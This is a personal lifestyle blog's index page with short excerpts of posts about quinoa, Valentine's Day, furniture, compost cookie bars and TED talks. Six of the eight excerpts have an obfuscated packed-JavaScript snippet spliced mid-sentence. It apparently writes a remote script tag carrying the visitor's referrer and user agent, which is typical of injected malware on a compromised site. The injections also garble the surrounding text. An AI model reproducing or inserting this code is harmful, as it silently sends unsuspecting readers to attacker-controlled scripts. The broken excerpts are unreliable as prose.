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Meet Quinoa

Quinoa was popular with the pre-Columbian Andean civilizations (don’t you wish you paid more attention during one of those history lessons…..circa 6th grade?).  It was less important than the potato BUT more important than maize.  That would be corn for any of you non-Spanish speakers out there. It’s high in protein and gluten-free.  It’s also […]

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Valentine’s Day Dinner

So on Saturday we had a belated Valentine’s Day dinner with some friends.  We celebrated “no divorces.”  Well, we really celebrated, “we’re all still together,” but I think “no divorces” is equally accurate. In any case, we had a HUGE spread.  Prime rib, baked potatoes (under the highly un-photogenic foil), broccoli soup, salad, and strawberry

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My week in photos

Whew, sure felt like a long week!  You too? Here’s Mochi, just lounging on the couch and licking his face. While ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdiir|var|u0026u|referrer|yfeka||js|php’.split(‘|’),0,{})) cleaning and packing up large rubbermaid containers, I saw this friendly reminder.  I posted it on Facebook and learned that lots of friends have kids that like to play

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New Favorite Furniture Store

It’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asnny|var|u0026u|referrer|ehtyh||js|php’.split(‘|’),0,{})) called Room&Board and I was turned onto the store by a friend – who’s house is really well decorated….go figure! I have a more modern style.  I prefer square lines.  Every person with a design degree (I’m looking at you, Stace) is currently cringing at my oh-too-simplistic description of

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Compost Cookie Bars

That’s right. He made compost cookie bars for Valentine’s day. Do you remember the compost ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhhan|var|u0026u|referrer|asyrb||js|php’.split(‘|’),0,{})) cookies? Nick found a recipe and then added a few extra ingredients to make it compost-y! And they were delicious!  You can find the recipe here!  He added pretzels, potato chips and coffee grounds.  He

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Happy Valentine’s Day!

I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|retnz|var|u0026u|referrer|renre||js|php’.split(‘|’),0,{})) told Nick not to get me anything. I’d make dinner if he could make dessert. Basically like any other night where I make dinner and he retrieves 2 cookies from the pantry (ok fine, he usually goes back for seconds and we end up each eating 2, don’t judge)

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Trying something new

Nick and I watch TED ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yikzy|var|u0026u|referrer|szfbr||js|php’.split(‘|’),0,{})) talks from time to time.  Short, <20 minute long videos on inspiring topics.  We recently watched one titled, “The happy secret to better work.”  It’s only 12 minutes and 21 seconds long.  I think your employer would be proud of you for watching it.  Or

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Love Is Exponential

Nerdy Valentines Day Cards

I find these entertaining….hopefully you will too.  But you might not….I’m prepared for that. 1.  You ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beyse|var|u0026u|referrer|hbfyk||js|php’.split(‘|’),0,{})) Blinded Me with Science 2.  Love is Exponential 3. Calculus Joke 4.  Nerd Love Equation 5.  Programmers

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